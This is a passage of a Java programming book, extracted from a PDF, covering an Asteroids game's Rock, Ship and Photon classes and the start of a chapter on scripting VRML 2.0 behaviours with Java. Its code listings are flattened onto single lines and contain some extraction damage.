Listing 14.2. Rock class. class Rock extends { private static float ix[] = { float iy[] = { Missile float sign = -1; 0, 8, 7, 5, 3, 1 }; 0, 2, 4, 5, 4, 6 };

Rock(int dw, int dh) { super(dw, dh, Color.green); // Set the shape of the asteroid setShape(ix, iy); // Size the asteroid scaleMissile(2 + (Math.random() * 5));

file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/ch14.htm (20 of 28) [8/16/02 8:37:07 AM]

Chapter 14 -- Writing 2D Games

// Set the rotation angle setRotationAngle(Math.random() * 60); // Set the initial position float init_x = (float)(Math.random() * (display_w max_x)); float init_y = (float)(Math.random() * (display_h max_y)); translateMissile(init_x, init_y); // Set the velocity x_vel = (float)(1 + (Math.random() * 10)); y_vel = (float)(1 + (Math.random() * 10)); x_vel *= sign; y_vel *= sign; sign *= -1; } }

The asteroids exhibit completely default Missile class behavior. The class simply sets up the initial object conditions and then enables Missile's base functions to control it. Each asteroid begins life appearing like Figure 14.2. Then the asteroid is scaled by a random value between 2.0 and 7.0. It also is assigned a rotation angle between 0 and 60 degrees. An initial position somewhere on the screen is chosen, and finally the rock receives a random x and y velocity between 1.0 and 11.0. Although all the asteroids started out looking the same, they end up looking quite different. Figure 14.2 : Initial asteroid.

The Ship
Although the asteroids do not need to override any default Missile behavior, the Ship class in Listing 14.3 does override two functions.

Listing 14.3. Ship class. class Ship extends Missile { final int MAX_VELOCITY = 20;
file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/ch14.htm (21 of 28) [8/16/02 8:37:07 AM]

Chapter 14 -- Writing 2D Games

int rotations, engines, photons; float speed_inc; float ix[] = { 0, 6, 0, 2 }; float iy[] = { 0, 2, 4, 2 }; Photon activePhotons[]; double leftCos, leftSin, rightCos, rightSin; Ship(int dw, int dh) { super(dw, dh, Color.red); setShape(ix, iy); rotations = 0; photons = 0; engines = 0; direction = 0; activePhotons = new Photon[6]; // Set the speed increments speed_inc = 2; // Size the ship scaleMissile(3); // Set the initial position float init_x = (display_w / 2) - (2 * scale); float init_y = (display_h / 2) - (2 * scale); translateMissile(init_x, init_y); } public void leftRotation() { rotations++; } public void rightRotation() { rotations--; } public void fireEngines() { engines++; }
file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/ch14.htm (22 of 28) [8/16/02 8:37:07 AM]

Chapter 14 -- Writing 2D Games

public void firePhotons() { photons++; } public void animate() { float sign; setRotationAngle(15 * rotations); rotateMissile(); rotations = 0; if ( engines != 0 ) { x_vel += (float)(Math.cos(direction) * (engines * speed_inc)); y_vel -= (float)(Math.sin(direction) * (engines * speed_inc)); if ( Math.abs(x_vel) > MAX_VELOCITY ) { if ( x_vel > 0 ) sign = 1; else sign = -1; x_vel = MAX_VELOCITY * sign; } if ( Math.abs(y_vel) > MAX_VELOCITY ) { if ( y_vel > 0 ) sign = 1; else sign = -1; y_vel = MAX_VELOCITY * sign; } engines = 0; } if ( photons != 0 ) { for ( int p = 0; p < activePhotons.length; p++ ) { if ( activePhotons[p] == null || activePhotons[p].isDead() ) { activePhotons[p] = new Photon(display_w, display_h, &nbs p; direction, this);
file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/ch14.htm (23 of 28) [8/16/02 8:37:07 AM]

Chapter 14 -- Writing 2D Games

break; } } photons--; } moveMissile(); for ( int p = 0; p < activePhotons.length; p++ ) { if ( activePhotons[p] != null ) { activePhotons[p].animate(); } } } public void draw(Graphics g) { for ( int p = 0; p < activePhotons.length; p++ ) { if ( activePhotons[p] != null ) activePhotons[p].draw(g); } super.draw(g); } public boolean photonsCollide(Missile mx) { for ( int p = 0; p < activePhotons.length; p++ ) { if ( activePhotons[p] != null ) { if ( activePhotons[p].collide(mx) ) { activePhotons[p].die(); return true; } } } return false; } }

file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/ch14.htm (24 of 28) [8/16/02 8:37:07 AM]

Chapter 14 -- Writing 2D Games

The ship must have public methods to fire its engines and photons, to rotate left, and to rotate right. The ship must also create and track the photons that it fires. An array of photons is used to track fired projectiles. Only a limited number can be outstanding at any given time, because the code that fires a photon cannot operate until an empty slot is found. Keyboard events happen asynchronously with respect to animate calls. For this reason, counters have been created to track how many times a particular key is pressed between calls. animate() is the first Missile function to be overridden, because the ship needs to animate its photons in addition to itself. When animate() is called, the ship calculates the new rotation angle and sets it. If variable rotations is zero (no requests) the call to rotateMissile() does not change anything. Next, the engines are fired. Velocity is changed based on the current orientation. The following equations derive the x and y velocity components for a given speed increase: x_component = cos(angle) * speed; y_component = -sin(angle) * speed; Note Because the coordinate system's Y-axis is upside down, all calculations must invert the sign of the sine coefficients.

Each component is artificially limited to an upper bound, in this case 20. The orientation is stored in the Missile class variable direction. This value is already in radians and contains the current heading of the ship. The periodic nature of sines and cosines is exploited by this variable. The value of direction is continuously increasing, going past 360 degrees after one complete rotation. Due to the periodic functionality of the trig functions, (the cosine and sine of 90 degrees is the same as the cosine and sine of 450 degrees-360 + 90), the equations function properly for the variable. After firing the engines, the ship checks for photon requests. If present, the ship searches for a free (or dead) photon slot. If one is found, a new photon is created. In keeping with object-oriented design, the photon is in charge of its own movements. After the ship's parameters are adjusted, the photons are animated. When all photons have been moved, the ship moves itself by calling moveMissile(). The second Missile function to be overridden is draw(). The ship is responsible for its photons. This extends to drawing them as well. After each photon is told to draw itself, the ship calls its ancestor draw() function to render itself.

file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/ch14.htm (25 of 28) [8/16/02 8:37:07 AM]

Chapter 14 -- Writing 2D Games

Note There is a subtle trick going on here. The ship is drawn after the photons so that it will always be on top. The photon code cannot precisely locate the front tip of the ship, so it initializes in the center of the ship's bounding box. If the ship were drawn first, the photons would appear to emulate from the center of the ship, not from the tip.

The final function for the Ship class is photonsCollide(). The game thread passes in each asteroid to see whether the ship has hit it. The ship doesn't really know, so it asks each of its photons whether it has collided with the rock. Any hits destroy both the photon and the asteroid.

The Photons
The photon exhibits nearly default Missile behavior. The only exception is that photons don't bounce; they die when they hit a wall. Listing 14.4 describes the Photon class.

Listing 14.4. Photon class. class Photon extends Missile { Missile ship; float ix[] = { 0, 2, 2, 0 }; float iy[] = { 0, 0, 2, 2 }; Photon(float dw, float dh, double pointing, Missile firedFrom) { super((int)dw, (int)dh, Color.yellow); setShape(ix, iy); direction = pointing; ship = firedFrom; // Set the initial position Rectangle shipRect = firedFrom.getBoundingBox(); float init_x = shipRect.x + (shipRect.width / 2);
file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/ch14.htm (26 of 28) [8/16/02 8:37:07 AM]

Chapter 14 -- Writing 2D Games

float init_y = shipRect.y + (shipRect.height / 2); translateMissile(init_x, init_y); // Set the velocity components x_vel = (float)(20 * Math.cos(direction)); y_vel = (float)(-20 * Math.sin(direction)); } protected void checkBounce() { if ( bounce_x || bounce_y ) die(); } }

It is not practical to locate the exact front of the ship, so the photon is initially placed in the center of the ship's bounding box. The speed is fixed at 20, but the components are derived from the ship's direction. This enables the photon to travel in exactly the direction the ship was facing when the fire request was made. When a bounce request comes in, the photon is killed.

Final Details
Other than the Missile class, all the source classes are contained in the Asteroid.java source file. Compile the source and give it a try. This implementation has a few limitations, the first of which is that photons must be rendered inside an asteroid's bounding box for it to be destroyed. Having a photon's trajectory pass through an asteroid will not work. This is the primary reason to limit a photon's speed to 20. Even at this speed, there will be times when you think a rock should have been hit, but the photon was rendered before and immediately after the bounding box of the asteroid. Figure 14.3 shows this phenomenon. Figure 14.3 : Photon skipping over an asteroid. The second limitation is painting from the game thread. This can make the ship's controls feel sluggish because immediate feedback on movement-and especially rotation-is delayed. Java is not very good at sending key events at a rapid pace, so this also contributes to the perceived problem. The final limitation is the use of the bounding box itself for collision detection. There will be times when two objects are said to collide when, in reality, none of their points overlapped. Because the bounding box is an approximation of the polygon, collision detection can never be perfect.
file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/ch14.htm (27 of 28) [8/16/02 8:37:07 AM]

Chapter 14 -- Writing 2D Games

Figure 14.4 shows the applet in action. Figure 14.4 : Asteroids applet.

Summary
This chapter delved into two-dimensional game techniques. Scaling, translation, and rotation were introduced for an ordered set of points. The Missile class was developed to implement the basis for a multitude of two-dimensional action games. You explored advanced concepts such as velocity and bouncing. Rendering made use of AWT classes Polygon and Rectangle. Finally, a Java Asteroid game was written to exploit the Missile class. You should now have a solid foundation in 2D game techniques. All this chapter's concepts are applicable to a wide range of Java games. Game playing is an excellent application for Java, because there is no need for permanent storage, and feedback is immediate.

file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/ch14.htm (28 of 28) [8/16/02 8:37:07 AM]

Chapter 15 -- A Virtual Java-Creating Behaviors in VRML 2.0

Chapter 15
A Virtual Java-Creating Behaviors in VRML 2.0

CONTENTS
G G G G G G G G G G G G G

Going Beyond Reality Making the World Behave Overview of VRML The VRML Script Node VRML Datatypes in Java Integrating Java Scripts with VRML The Browser Class The Script Execution Model Creating Efficient Behaviors Dynamic Worlds-Creating VRML on the Fly Creating Reusable Behaviors The Future: VRML, Java, and AI Summary

Going Beyond Reality


You've probably had enough of buttons, menus, and creating a hundred and one pictures for animations, and are looking for something a little different. If you have been closely reading the computing press, you may have noticed sections creeping in about another web technology called VRML-the Virtual Reality Modeling Language. VRML is designed to produce the 3D equivalent of HTML; a three-dimensional scene defined in a machine neutral format that can be viewed by anyone with the appropriate viewer. Until recently, VRML has not really lived up to its name. The first version of the standard only produced static scenes and was a derivative of Silicon Graphic's Open Inventor file format. A user could wander around in a 3D scene, but there was no way to interact with the scene apart from clicking on the 3Dequivalent of hypertext links. This was a deliberate decision on the part of the designers. In December 1995 the VRML mailing-list decided to drop planned revisions to version 1.0 and head straight to the
file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/ch15.htm (1 of 30) [8/16/02 8:37:15 AM]

Chapter 15 -- A Virtual Java-Creating Behaviors in VRML 2.0

fully interactive version 2.0. One of the prime requirements for VRML 2.0 was the ability to support programmable behaviors. Of the seven proposals, the Moving Worlds submission by Sony and SGI came out as the favorite among the 2000 members of the VRML mailing list. Contained in what has now become the draft proposal for VRML 2.0 was a Java API for creating behaviors. Effectively combining VRML and Java requires a good understanding of how both languages work. This chapter introduces the Java implementation of the VRML API and shows you how to get the most from a dynamic virtual world.

Making the World Behave


Within the virtual reality environment any dynamic change in the scenery is regarded as a behavior. This may be something as simple as an object changing color when touched or something as complex as autonomous agents that look and act like humans, such as Neal Stephenson's Librarian from Snow Crash. In order to understand how to integrate behaviors you also need to understand how VRML works. While this section won't delve into a lengthy discussion of VRML, a few basic concepts are needed. To start with, VRML is a separate language from the Java used in the scripts. VRML provides a class to interact only with a pre-existing scene, which means that you cannot use VRML as a 3D toolkit. A stand-alone application could use the VRML class libraries to create a collection of VRML nodes, but without a preexisting browser open there is no way of making these visible on the screen. In the future, you will be able to write a browser using Java3D that is resposible for the visualisation of the VRML file structure, but there is no method currently. The second concept to understand is that within VRML there is no such thing as a monolithic application. Each object has its own script attached to it. Creating a highly complex world means writing lots of short scripts. Much of this lightweight work is performed with the JavaScript derived VRMLscript. This is the preferred method for short calculations, but when more complex work needs to be done, then the world creator uses Java based scripting. Typically, such heavy-weight operations combine the VRML API with the thread and networking classes. To keep down the amount of programming the VRML specification writers added a number of nodes to take care of commonly required functionality. These can divided into two groups: interpolators and sensors. Interpolators are available for color, scalar values, points (morphing), vectors, position, and orientation. Sensors cover a more varied range: geometric shapes (cylinder, disk, plane, and sphere), proximity, time, and touch. These all can be directly inserted into a scene and connected to the various primitives to create effects without having to write a line of code. Simple effects, such as an automatically opening door, can be created by adding a sensor, interpolator, and primitives to the scene.

file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/ch15.htm (2 of 30) [8/16/02 8:37:15 AM]

Chapter 15 -- A Virtual Java-Creating Behaviors in VRML 2.0

Overview of VRML
The VRML world description uses a traditional scene graph approach reminiscent of PEX/PHIGS and other 3D toolkits. This description applies not only in the file structure but also within the inner workings. Each node within the scene has some parent and many can have children. For a complete structural description of VRML it is recommended that you purchase a good book on VRML, especially if serious behavioral programming is to be undertaken. Surprisingly, the VRML nodes can be represented in a semi-object-oriented manner that meshes well with Java. Each node has a number of fields. These can be accessible to other nodes only if explicitly declared so, or they can be declared read- or write-only or only have defined methods to access their values. In VRML syntax, the four types of access are described as
G G G G

field Hidden from general access eventIn Sends a value to a node-a write-only field eventOut Sends a value from a node-a read-only field exposedField Publicly accessible for both read and write

Apart from seeing these in the definitions of the nodes defined by VRML, where you will be having to deal with them is in the writing of the behaviour scripts. Most scripts will be written to process a value being passed to the script in the form of an eventIn which then passes the result back through the eventOut. Any internal values will be kept in field values. Script nodes are not permitted to have exposedFields due to the updating and implementation ramifications within the event system. Although a node may consist of a number of input and output fields it does not insist that they all be connected. Usually the opposite is the case-only a few of the available connections are made. VRML requires explicit connection of nodes using the ROUTE keyword as follows: ROUTE fromNode.fieldname1 TO toNode.fieldname2 The only restriction is that the two fields be of the same type. There is no casting of types permitted. This route mechanism can be very powerful when combined with scripting. The specification allows both fan in and fan out of ROUTEs. Fan in occurs when many nodes have ROUTEs to a single eventIn field of a node. Fan out is the opposite: one eventOut is connected to many other eventIns. This enables sensors and interpolators to feed the one script with information saving coding effort. The only problem that currently exists is that there is no way to find out which node generated an event for an eventIn. Fan out also is handy for when the one script controls a number of different objects at once, for example, a light switch turning on multiple lights simultaneously. If two or more events cause a fan in clash on a particular eventIn, then the results are undefined. The

file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/ch15.htm (3 of 30) [8/16/02 8:37:15 AM]

Chapter 15 -- A Virtual Java-Creating Behaviors in VRML 2.0

programmer should be careful to avoid such situations. A typical example where this may occur is when two animation scripts set the position of an object. VRML datatypes all follow the standard programming norms. There are integer, floating point, string, and boolean standard types, as well as specific type for dealing with 3D graphics such as points, vectors, image, and color. To deal with the extra requirements of the VRML scene, graph structure and behaviors node and time types have been added. The node datatype contains an instance pointer to a particular node in the scene graph. Individual fields within a node are not accessible directly. Individual field references in behaviors programming is rarely needed because communication is on an event-driven model. When field references are needed within the API, a node instance and field string description pair are used. Apart from the boolean and time types these values can be either single or multivalued. The distinction is made in the field name with the SF prefix for single-valued fields and MF for multivalued fields. A SFInt32 contains a single integer whereas a MFInt32 contains an array of integers. For example, the script node definition in the next section contains an MFString and an SFBool. The MFstring is used to contain a collection of URLs, each kept in their own separate substring, but the SFBool contains a single boolean flag controlling a condition.

The VRML Script Node


The Script node provides the means for integrating a custom behavior into VRML. Behaviors can be programmed in any language that the browser supports and that an implementation of the API can be found for. In the draft versions of the VRML 2.0, specification sample APIs were provided for Java, C, and also VRML's own scripting language, VRMLscript-a derivative of Netscape's Javascript. The script node is defined as follows: Script { field field field

MFString SFBool SFBool

behaviour mustEvaluate directOutputs

[] FALSE FALSE

# any number of the following eventIn eventTypeName eventName eventOut eventTypeName eventName field fieldTypeName fieldName initialValue } Unlike a standard HTML, VRML enables multiple target files to be specified in order of preference. The behavior field contains any number of strings specifying URLs or URNs to the desired behavior script. For Java scripts this would be the URL of the .class file but it is not limited to just one script type.

file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/ch15.htm (4 of 30) [8/16/02 8:37:15 AM]

Chapter 15 -- A Virtual Java-Creating Behaviors in VRML 2.0

Apart from specifying what the behavior script is, VRML also enables control over how the script node performs within the scene graph. The mustEvaluate field tells the browser about how often the script should be run. If it is set to TRUE, then the browser must send events to the script as soon as they are generated, forcing an execution of the script. If the field is set to false, then in the interests of optimization the browser may elect to queue events until the outputs of the script are needed by the browser. A TRUE setting is most likely to cause browser performance to degrade due to the constant context-swapping needed rather than batching to keep it to a minimum. Unless you are performing something that the browser is not aware of, such as using the networking or database functionality, you should set this field to false. The directOutputs field controls whether the script has direct access for sending events to other nodes. Java methods require the Node reference of other nodes when setting field values. If, for example, a script is passed an instance of a Group node, then with this field set to TRUE it can send an event directly to that node. To add a new default box to this group, the script would contain the following: SFNode group_node = (SFNode)getField("group_node"); group_node.postEventIn("add_children", (Field)CreateVRMLfromString("Box")); If directOutputs is set to false, then it requires the script node to have an eventOut field with the corresponding event type specified (an MFNode in this case), and a ROUTE connecting the script with the target node. There are advantages to both approaches. When the scene graph is static in nature, then the second approach using known events and ROUTEs is much simpler. However, in a scene where objects are being generated on the fly, static routing and events will not work and the first approach is required.

VRML Datatypes in Java


The whole of the API is built around two Java interfaces defined in the package vrml: eventIn and Node that are defined as the following: interface eventIn { public String public SFTime public ConstField }

getName(); getTimeStamp(); getValue();

interface Node { public ConstField getValue(String fieldName) throws InvalidFieldException; public void postEventIn(String eventName, Field
file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/ch15.htm (5 of 30) [8/16/02 8:37:15 AM]

Chapter 15 -- A Virtual Java-Creating Behaviors in VRML 2.0

eventValue) throws InvalidEventInException; } In addition to these two interfaces, each of the VRML field types also has two class definitions which are subclasses of Field: a standard version and a restricted Const read-only version. The Const* definitions are only used in the eventIns defined in individual scripts. Unless that field class has an exception explicitly defined, they are guaranteed not to generate exceptions. For the non-constant fields, each class has at least setValue and getValue methods that return the Java equivalent of the VRML field type. For example, a SFRotation class returns an array of floats mapping to the x, y, and z orientation, but the MFRotation class returns a two-dimensional array of floats. The multivalued field types also have a set1value method, enabling the caller to set an individual element. SFString and MFString need special attention. Java defines them as being Unicode characters whereas VRML defines a subset of this-UTF-8. Ninety-nine percent of the time this should not present any problems, but it does pay to be aware of this.

Integrating Java Scripts with VRML


The Script Class definition
The last thing that needs to be defined is the script class itself. Earlier the VRML Script node was defined: now it is necessary to define the Java equivalent. Class Script implements Node { public void processEvents(Events [] events) throws Exception; public void eventsProcessed() throws Exception protected Field getEventOut(String eventName) throws InvalidEventOutException; protected Field getField(String fieldName) throws InvalidFieldException } When a programmer creates a script, she is expected to subclass this to provide the needed functionality. The class definition has deliberately left the definition of the codes for the exceptions up to the author to enable the creation of tailored exceptions and handlers.

file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/ch15.htm (6 of 30) [8/16/02 8:37:15 AM]

Chapter 15 -- A Virtual Java-Creating Behaviors in VRML 2.0

The getField() method returns the value of the field nominated by the given string. This is how the Java script gets the values from the VRML Script node fields. This method is used for all fields and exposedFields. To the Java script, an eventOut just looks like another field. There is no need to write an eventOut function-the value is set by calling the appropriate fieldtype's setValue() method.

Dealing with Event Input


Every eventIn field specified in the VRML Script node definition requires a matching public method in the Java implementation. The method definition takes the form of public void <eventName>(Const<eventTypeName> <variable name>, SFTime <variable name>); The method must have the same name as the matching eventIn field in the VRML script description. The second field corresponds to the timestamp of when the event was generated. This is particularly useful when the mustEvaluate field is set false, meaning that an event may be queued for some time before finally being processed. Script is an implementation of the Node interface, which means that it contains the postEventIn() method. Previously it was stated that you should not call the eventIn methods of other scripts directly. To facilitate direct inter-node communication, the postEventIn method enables the programmer to send information to other nodes while staying within the VRML event handling system. The arguments are a string specifying the eventIn field name and a Field containing the value. This value would be a VRML datatype cast to Field. PostEventIn use is shown in the following example and it is also used in a later section where a simple dynamic world is constructed. //The node we are getting is a translation Node translation; float[3] translation_details; translation[0] = 0; translation[1] = 2.3; translation[2] = -.4; translation.postEventIn("translation", (Field)translation); The event processing methods processEvents() and eventsProcessed() are dealt with in a latter section.

The First Behavior-A Color Changing Box


The first behavior can now be defined by putting this all together-a cube that when touched toggles color
file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/ch15.htm (7 of 30) [8/16/02 8:37:15 AM]

Chapter 15 -- A Virtual Java-Creating Behaviors in VRML 2.0

between red and blue. This requires five components: a box primitive, a touchsensor, a material node, the script node, and the Java script. In this case the static connections between the script are used, as well as the other nodes, because the scene is static. The basic input scene consists of a cube placed at the origin with a color and touch sensor around it: Transform { bboxSize 1 1 1 children [ Shape { geometry { Box {size 1 1 1} } appearance { DEF cube_material Material { diffuseColor 1.0 0. 0. #start red. } } } # end of shape definition # Now define a TouchSensor node. This node takes in the # geometry of the parent transform. Default behaviour OK. DEF cube_sensor TouchSensor {} ] } Now you need to define a script to act as the color changer. You need to take input from the touch sensor and output the new color to the material node. You also need to internally keep track of the color. This can be done by reading in the value from the Material node, but for demonstration purposes an internal flag is included in the script. No fancy processing or send event sending to other nodes is necessary, so both the mustEvaluate and directOutputs fields can be left at the default setting of NULL. DEF colour_script Script { behaviour "colour_changer.class" # now define our needed fields field SFBool isRed eventIn SFBool clicked eventOut SFColor color_out }

TRUE

file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/ch15.htm (8 of 30) [8/16/02 8:37:15 AM]

Chapter 15 -- A Virtual Java-Creating Behaviors in VRML 2.0

You then need to connect these two together using ROUTEs: ROUTE cube_sensor.isOver TO colour_script.clicked ROUTE colour_script.color_out TO cube_material.diffuseColor Finally, the script needs to be added to make everything work. import vrml class colour_changer extends Script { // declare the field private SFBool isRed = (SFBool)getField("isRed"); // declare the eventOut private SFColor color_out = (SFColor)getEventOut("color_out"); // declare eventIns public void clicked(ConstSFBool isClicked, ConstSFTime ts) { // called when the user clicks or touches the cube or // stops touching/click so first check the status of the // isClicked field. We will only respond to a button up. if(isClicked.getValue() == FALSE) { // now check whether the cube is red or green if(isRed.getValue() == TRUE) isRed.setValue(FALSE); else isRed.setValue(TRUE); } } // finally the event processing call public void eventsProcessed() { if(isRed.getValue() == TRUE) color_out.setValue([0 0 1.]); else color_out.setValue([1.0 0 0]); } }

file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/ch15.htm (9 of 30) [8/16/02 8:37:15 AM]

Chapter 15 -- A Virtual Java-Creating Behaviors in VRML 2.0

That's it. You now have a cube that changes color when you click on it. Creating more complex behaviors is just a variation on this scheme with more Java code and fields. The basic user input usually come from sensors as interpolators, and is usually directly wired between a series of other event-generating and receiving structures. More complex input from external systems is also possible. Scripts are not just restricted to input methods based on eventIns. One example is a stock market tracker that runs as a separate thread. It could constantly receive updates from the network, process them, then send the results through a public method to the script, which would put the appropriate results into the 3D world.

The Browser Class


Behaviors using the method outlined above will work for many simple systems. Effective virtual reality systems, however, require more than just being able to change the color and shape of the objects already existing in the virtual world. Take a virtual taxi as an exercise. A user would step inside, and instruct the cab where to go. The cab moves off, leaving the user in the same place. The user does not "exist" as part of the scene graph-she is known to the browser but not the VRML scene rendering engine. Clearly, a greater level of control is needed.

Changing the Current Scene


The VRML 2.0 specification defines a series of actions that need to be provided to the programmer to set and retrieve information about the world. Within the Java implementation of the API, this is provided as the Browser class. This class provides all the functions that a programmer needs that are not specific to any particular part of the scene graph. The first functions for defining system specific behaviors are public static String getName(); public static String getVersion(); These strings are defined by the browser writer and identify the browser in some unspecified way. If this information is not available, then empty strings are returned. If you are programming expensive calculations, then you may wish to know how this is affecting the rendering speed of the system. The getCurrentFrameRate() method returns the value in frames per second. If this information is not available, then the return value is 100.0. public static float getCurrentFrameRate(); Two more handy pieces of information to know in systems where prediction is used are what mode the
file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/ch15.htm (10 of 30) [8/16/02 8:37:15 AM]

Chapter 15 -- A Virtual Java-Creating Behaviors in VRML 2.0

user is navigating the scene in, and at what speed they are traveling. In a similar style to the getName() method, the string returned to describe the navigation type is browser dependent. VRML defines that at a minimum the following types must be supported: "WALK", "EXAMINE", "FLY" and "NONE". However, if you are building applications for an intranet where it is known what type of browser is used, this information could be quite handy for varying the behavior, depending on how a user is approaching the object of interest. Information on navigation is available from the following methods: public static String getNavigationType(); public static void setNavigationType(String type) throws InvalidNavigationTypeException; public static float getNavigationSpeed(); public static void setNavigationSpeed(float speed); public static float getCurrentSpeed(); The difference between navigation speed and current speed is in the definition. VRML 2.0 defines a navigationInfo node that contains default information about how to act if given no other external cues. The navigation speed is the default speed in units per second. There is no specification about what this speed represents, only hints. A reasonable assumption would be the movement speed in WALK and FLY mode and in panning and dollying in EXAMINE mode. The current speed is the actual speed that the user is traveling at that point in time. This is the speed that the user has set with the browser controls. Having two different descriptions of speed may seem to be wasteful, but it comes in quite handy when moving between different worlds. The first world may be a land of giants where traveling at 100 units per second is considered slow, but in the next world, which models a molecule that is only 0.001 units across, this speed would be ridiculous. The navigation speed value can be used to scale speeds to something that is reasonable for the particular world. Also contained in the navigationInfo node is a boolean field for a headlight. The headlight is a directional light that points in the direction the user is facing. Where the scene creator has used other lighting effects, such as radiosity, the headlight is usually turned off. In the currently available browsers this has lead to a lot of bugs, where turning off the headlight results in the whole scene becoming black. It is recommended that the programmer not use the headlight feature within behaviors. If you wish to access them, the following functions are provided by the Browser class: public static boolean getHeadlight(); public static void setHeadlight(boolean onOff); So far, the methods described enable the programmer to change individual components of the world. The other requirement is to completely replace the world with some internally generated one. This enables you to use VRML to generate new VRML worlds on the fly. This still assumes that you already are part of a VRML world-you cannot use this in an application to generate a 3D graphics front-end.
file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/ch15.htm (11 of 30) [8/16/02 8:37:16 AM]

Chapter 15 -- A Virtual Java-Creating Behaviors in VRML 2.0

public static void replaceWorld(node nodes[]); This is a non-returning call that unloads all the old scene and replaces it with the new one.

Modifying the Scene


There is only so much you can do with what is already available in a scene. Complex worlds use a mix of static and dynamically generated scenery to achieve their impressive special effects. The first thing that you may want to do is find out where you are from the URL. public static String getWorldURL(); GetWorldURL() returns the URL of the root of the scene graph rather than the URL of the currently occupied part of the scene. VRML enables a complex world to be created using a series of small files which are included into the world-called inlining in VRML parlance. In order to completely replace the scene graph, the loadWorld() method should be called. Like all URL references within VRML, an array of strings is passed. These strings are a list of URLs and URNs to be loaded in order of preference. Should the load of the first URL fail, it attempts to load the second, and so on until it is either successful or the end of the list is reached. If the load fails, then it should notify the user in some browser-specific manner. At this stage the exact specification of URNs is still being debated. URNs are legal within fields that contain strings for URLs. The VRML specification states that if the browser is not capable of supporting them, they are to be silently ignored. The specification also states that it is up to the browser whether the loadWorld() call blocks or starts a separate thread when loading a new scene. public static void loadWorld(String[] url); public static Node createVrmlFromString(String vrmlSyntax); public static void createVrmlFromURL(String[] url, Node node, String eventInNam e); In addition to just replacing the whole scene, you may wish to add bits at a time. This can be done in one of two ways. If you are very familiar with VRML syntax, then you can create strings on the fly and pass them to the createVrmlFromString() call. The node that is returned can then be added into the scene as required. Perhaps the most useful of the above functions is the createVrmlFromURL() method. You may notice from the definition that apart from a list of URLs it also takes a node instance and a string that refers to an eventIn field name. This call is a non-blocking call that starts a separate thread to retrieve
file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/ch15.htm (12 of 30) [8/16/02 8:37:16 AM]

Chapter 15 -- A Virtual Java-Creating Behaviors in VRML 2.0

the given file from the URL, converts it into the internal representation, and then finally sends the newly created list of nodes to the specified node's eventIn. The eventIn type is required to be an MFNode. The Node reference can be any sort of node, not just a part of the script node. This enables the script writer to add these new nodes directly to the scene graph without having to write extra functionality in the script. With both of the create functions, the returned nodes do not become visible until they have been added to some pre-existing node that already exists within the scene. While it is possible to create an entire scene on the fly within a stand-alone applet, there is no way to make it visible because this applet does not have a prior node instance to which to add the dynamically generated scene. Once you have created a set of new nodes, you also want to be able to link them together to get the same behaviors system as the original world. The Browser class defines methods for dynamically adding and deleting ROUTEs between nodes. public void addRoute(Node fromNode, Node toNode, throws InvalidRouteException; public void addRoute(Node fromNode, Node toNode, throws InvalidRouteException; String fromEventOut, String toEventIn) String fromEventOut, String toEventIn)

For each of these you need to know the node instance for both ends of the ROUTE. In VRML, you are not able to obtain an instance pointer to an individual field in a node. It is also assumed that if you know you will be adding a route, you also know what fields you are dealing with, so a string is used to describe the field name corresponding to an eventIn/eventOut. Exceptions are thrown if either of the nodes or fields do not exist or an attempt to delete a non-existent ROUTE is made. You now have all the tools required to generate a world on the fly, respond to user input, and modify the scene. The only thing that remains is to add the finesse to create responsive worlds that won't get bogged down in Java code.

The Script Execution Model


When tuning the behaviors in a virtual world, the methods used depend on the execution model. The VRML API enables a lot of control over exactly how scripts are executed and how events that are passed to it are distributed. The arrival of an eventIn at a script node causes the execution of the matching method. There is no other way to invoke these methods. A script may start an asynchronous thread, which in turn calls another non-eventIn method of the script, or even send events directly to other nodes. At the current Draft #2 of the VRML 2.0 specification no mention is made about scripts containing non-eventIn public
file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/ch15.htm (13 of 30) [8/16/02 8:37:16 AM]

Chapter 15 -- A Virtual Java-Creating Behaviors in VRML 2.0

methods. It would be wise to assume that it is not possible. You should check the latest version of the VRML specification before considering doing this. While it is possible to call an eventIn method directly, it is in no way encouraged. Such programming interferes with the script execution model by preventing browser optimization and could effect the running of other parts of the script. It also could cause performance penalties in other parts of the world, not to mention re-entrancy problems within the eventIn method itself. If you find it necessary to have to call an eventIn of the script, then you should use the postEventIn() method so that the operation of the browser's execution engine is not affected. Unless the mustEvaluate field is set, all the events are queued in timestamp order from oldest to newest. For each event that has been queued, the corresponding eventIn method is called. Each eventIn calls exactly one method. If an eventOut has fan out to a number of eventIns, then multiple eventIns are generated-one for each node. Once the queue is empty, the eventsProcessed() for that script is called. The eventsProcessed() method enables any postprocessing data to be performed. A typical use of this post-processing was illustrated in the earlier example of the color-changing cube. Notice that the eventIn method just took the data and stored it in an internal variable. The eventsProcessed() method then took the internal value and generated the eventOut. This was overkill for such simple behavior. Normally such simplistic behavior would use VRMLscript instead of Java. The separation of data processing from the collection is very effective in a high-traffic environment, where event counts are very high and the overheads of data processing are best absorbed into a single longer run instead of many short ones. Once the eventsProcessed() method has completed execution, any eventOuts generated as a result are sent as events. If the script generates multiple eventOuts on the one 